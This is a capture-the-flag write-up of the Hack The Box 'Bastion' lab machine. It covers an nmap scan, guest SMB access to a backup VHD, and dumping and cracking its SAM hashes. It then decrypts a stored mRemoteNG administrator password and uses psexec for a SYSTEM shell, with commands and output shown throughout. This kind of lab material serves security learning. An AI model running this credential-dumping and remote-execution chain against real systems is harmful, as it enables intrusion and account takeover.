Bastion-HTB

```
# Nmap 7.94SVN scan initiated Mon Feb 19 21:37:19 2024 as: nmap -vv --reason -Pn
Nmap scan report for 10.10.10.134
Host is up, received user-set (0.043s latency).
Scanned at 2024-02-19 21:37:32 IST for 132s
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_7.9 (protocol
| ssh-hostkey:
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau
|   256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFs
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  syn-ack ttl 127 Windows Server 2016 Standard 14393
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: BASTION
|   NetBIOS_Domain_Name: BASTION
|   NetBIOS_Computer_Name: BASTION
|   DNS_Domain_Name: Bastion
|   DNS_Computer_Name: Bastion
|   Product_Version: 10.0.14393
|_  System_Time: 2024-02-19T16:09:40+00:00
|_ssl-date: 2024-02-19T16:09:49+00:00; +5s from scanner time.
| ssl-cert: Subject: commonName=Bastion
| Issuer: commonName=Bastion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-14T14:11:03
| Not valid after:  2024-08-15T14:11:03
| MD5:   c164:8599:ed96:4122:d291:f6fe:96aa:51ae
| SHA-1: 331e:2ba4:af23:8ce7:5ec9:dced:5121:1b3b:b11d:a3db
| -----BEGIN CERTIFICATE-----
| MIIC0jCCAbqgAwIBAgIQGmv6CPHZUqFHTl7ecNZ3ZTANBgkqhkiG9w0BAQsFADAS
| MRAwDgYDVQQDEwdCYXN0aW9uMB4XDTI0MDIxNDE0MTEwM1oXDTI0MDgxNTE0MTEw
| M1owEjEQMA4GA1UEAxMHQmFzdGlvbjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
| AQoCggEBAM0XvVxOrfIJvemBiUDXo0DHsWZlSrgC+F7BCzBzw/4/yBHCT1YDvkkt
| +ZJkg2d0pxYWA8obr1em6s+hV+looUAdjX681GEoDAPYmoPdgKymmVmq6NNix9IU
```

```
| MKiDabP5pZZ/w1zdeqoveAPFMwMue37nW3rEkYaQ5JnXxKQIG8BSRHVhv9eHpaGX
| /H+q4FnXrKh1Vz+CVBtQ3+C898G9NNxM0Q+53vYOdWiwfYeNCoZeTL7t/Oo7r9IK
| 0Y/iKovpIs1ttDTqyZjGmUIZEWT0S0e9b1Vxe02OaFwob/zsym0RJw0AUEWuy2vp
| vfa6C+4R2RioHtUC7U5F/VHe38utnHsCAwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYB
| BQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEBCwUAA4IBAQAK5rs3d0CiLo9h
| u61MT9hiWbUFOsy0APduJKdyLeEG7BIHmTyov6ibs9ISe/aTrj8MDbr5oLVpwYu1
| WqxUoq5guvelonUf00L6RdHZbFpIQ99SZQQPe9OEAhqc1LkrLi67o32OO/pQHQ3B
| WQ80vazWcvlEaJIOxpjwufFiEs9D4ppsmhRtP2qe8gnJ4+2iXhAYZOBRinJb7XU2
| MkwW+ZhoYI6HmXq2yDiGvtE2bFXUzFnrU9ySaXvv5zp0Fs7wGFnoM9NrkCKRyDuB
| NhOwB/xglMphIBk843u7fLrQNHQg48ATwXvjiW/g8JuudvXmDK6i6zr6vGErV/PF
| P5ZskppQ
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%),
(93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%)
No exact OS matches for host (If you know what OS is running on it, see https://
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/19%OT=22%CT=1%CU=40022%PV=Y%DS=2%DC=T%G=Y%TM=65D3
OS:7D48%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=109%TI=I%CI=I%II=I%TS=A)
OS:SEQ(SP=106%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M53CNW8ST11%O2=
OS:M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)WI
OS:N(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%TG=80%W=2
OS:000%O=M53CNW8NNS%CC=Y%Q=)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=Y%Q=)T
OS:1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD
OS:=0%Q=)T2(R=Y%DF=Y%TG=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0
OS:%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%TG=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T
OS:3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%TG=80%W=0%S=A%A=
OS:O%F=R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y
OS:%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%TG=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%
OS:W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=80%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%TG=80%CD=Z)I
OS:E(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 28.323 days (since Mon Jan 22 13:54:28 2024)
Network Distance: 2 hops
```

```
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-02-19T17:09:41+01:00
| smb2-time:
|   date: 2024-02-19T16:09:43
|_  start_date: 2024-01-22T08:24:43
|_clock-skew: mean: -11m54s, deviation: 26m49s, median: 4s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 26941/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 40669/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 18741/udp): CLEAN (Timeout)
|   Check 4 (port 3592/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

TRACEROUTE (using port 23/tcp)
HOP RTT      ADDRESS
1   43.91 ms 10.10.14.1
2   43.86 ms 10.10.10.134

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https
# Nmap done at Mon Feb 19 21:39:44 2024 -- 1 IP address (1 host up) scanned in 1

```

Enumerating SMB

```
smbmap -u guest -H 10.10.10.134
```

```
[+] IP: 10.10.10.134:445        Name: 10.10.10.134              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Backups                                                 READ, WRITE
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
```

Found a virtual hard disk file:

```
└─$ du -hs *
37M     9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
5.1G    9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
4.0K    BackupSpecs.xml
4.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
12K     cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
8.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
4.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
4.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
4.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
4.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
4.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
8.0K    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
2.3M    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
```

Using 7zip to list contents:

```
7z l 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
```

Now mounting the vdh file:

```
sudo guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /mnt/vhd
```

Accessing the SAM and SYSTEM for password:

```
impacket-secretsdump -sam SAM -system SYSTEM local
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
```

Both guest and admin are blank

To check if c drive is accessible:

```
smbmap -p aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9 -H 10.10.10.134 -u L4mpje
```

Found the password for `L4mpje`:

QubesV3.1BackupDefaults

Hash	Type	Result
26112010952d963c8dc4217daec986d9	NTLM	bureaulampje

Color Codes: Green: Exact match, Yellow: Partial match, Red: Not found.

pass : bureaulampje

Now using ssh to login we get a shell:

```
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>S
```

Now we find user details:

`net L4mpje /group`

```
Password last set            22-2-2019 13:42:58
Password expires             Never
Password changeable          22-2-2019 13:42:58
Password required            Yes
User may change password     No
```

using this detail look for same date files in `system32/config/` of the vhd backup

```
└─# ls -la | grep SAM
-rwxrwxrwx 1 root root   262144 Feb 22  2019 SAM
-rwxrwxrwx 1 root root     1024 Apr 12  2011 SAM.LOG
-rwxrwxrwx 2 root root    21504 Feb 22  2019 SAM.LOG1
-rwxrwxrwx 2 root root        0 Jul 14  2009 SAM.LOG2

┌──(root㉿kali)-[/mnt/vhd/Windows/System32/config]
└─# ls -la | grep SYSTEM
-rwxrwxrwx 1 root root  9699328 Feb 22  2019 SYSTEM
-rwxrwxrwx 1 root root     1024 Apr 12  2011 SYSTEM.LOG
-rwxrwxrwx 2 root root   262144 Feb 22  2019 SYSTEM.LOG1
-rwxrwxrwx 2 root root        0 Jul 14  2009 SYSTEM.LOG2
```

So this was an old backup

Found a weird app in program files;

```
22-02-2019  14:01    <DIR>          .
22-02-2019  14:01    <DIR>          ..
16-07-2016  14:23    <DIR>          Common Files
23-02-2019  09:38    <DIR>          Internet Explorer
16-07-2016  14:23    <DIR>          Microsoft.NET
22-02-2019  14:01    <DIR>          mRemoteNG
23-02-2019  10:22    <DIR>          Windows Defender
23-02-2019  09:38    <DIR>          Windows Mail
23-02-2019  10:22    <DIR>          Windows Media Player
16-07-2016  14:23    <DIR>          Windows Multimedia Platform
16-07-2016  14:23    <DIR>          Windows NT
23-02-2019  10:22    <DIR>          Windows Photo Viewer
16-07-2016  14:23    <DIR>          Windows Portable Devices
16-07-2016  14:23    <DIR>          WindowsPowerShell
               0 File(s)              0 bytes
              14 Dir(s)   4.612.038.656 bytes free
```

We can decrypt using https://github.com/haseebT/mRemoteNG-Decryptbut we need to get config file so search in AppData

```
 Directory of C:\Users\L4mpje\AppData\Roaming\mRemoteNG

22-02-2019  14:03    <DIR>          .
22-02-2019  14:03    <DIR>          ..
22-02-2019  14:03             6.316 confCons.xml
22-02-2019  14:02             6.194 confCons.xml.20190222-1402277353.backup
22-02-2019  14:02             6.206 confCons.xml.20190222-1402339071.backup
22-02-2019  14:02             6.218 confCons.xml.20190222-1402379227.backup
22-02-2019  14:02             6.231 confCons.xml.20190222-1403070644.backup
22-02-2019  14:03             6.319 confCons.xml.20190222-1403100488.backup
22-02-2019  14:03             6.318 confCons.xml.20190222-1403220026.backup
22-02-2019  14:03             6.315 confCons.xml.20190222-1403261268.backup
22-02-2019  14:03             6.316 confCons.xml.20190222-1403272831.backup
22-02-2019  14:03             6.315 confCons.xml.20190222-1403433299.backup
22-02-2019  14:03             6.316 confCons.xml.20190222-1403486580.backup
22-02-2019  14:03                51 extApps.xml
22-02-2019  14:03             5.217 mRemoteNG.log
22-02-2019  14:03             2.245 pnlLayout.xml
22-02-2019  14:01    <DIR>          Themes
```

Now searching for passwords

```
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee
347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/0YDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVn00U9fKRylI7NcB9QuRs
ZVvla8esB" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false"
UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToId
leTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticRes
ize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false"
```

Now to decrypt the password:

```
python3 mremoteng_decrypt.py -s
"aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7
```

Which give password: thXLHM96BeKLoER2

```
┌──(kali㉿kali)-[~/Downloads/Bastion/mRemoteNG-Decrypt]
└─$ python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7
emf7lWWA10dQKiw=="
Password: thXLHM96BeKL0ER2
```

Now checking with smbmap:

```
└─$ smbmap -u administrator -p thXLHM96BeKL0ER2 -H 10.10.10.134
```

```
+] IP: 10.10.10.134:445        Name: 10.10.10.134              Status: ADMIN!!!
        Disk                                                   Permissions     Comment
        ----                                                   -----------     -------
        ADMIN$                                                 READ, WRITE     Remote Admin
        Backups                                                READ, WRITE
        C$                                                     READ, WRITE     Default share
        IPC$                                                   READ ONLY       Remote IPC
```

Now to get a admin shell:

```
psexec.py administrator:'thXLHM96BeKL0ER2'@10.10.10.134
```

```
└─$ psexec.py administrator:'thXLHM96BeKL0ER2'@10.10.10.134
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.10.10.134.....
[*] Found writable share ADMIN$
[*] Uploading file mIWvwSuQ.exe
[*] Opening SVCManager on 10.10.10.134.....
[*] Creating service SoPR on 10.10.10.134.....
[*] Starting service SoPR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```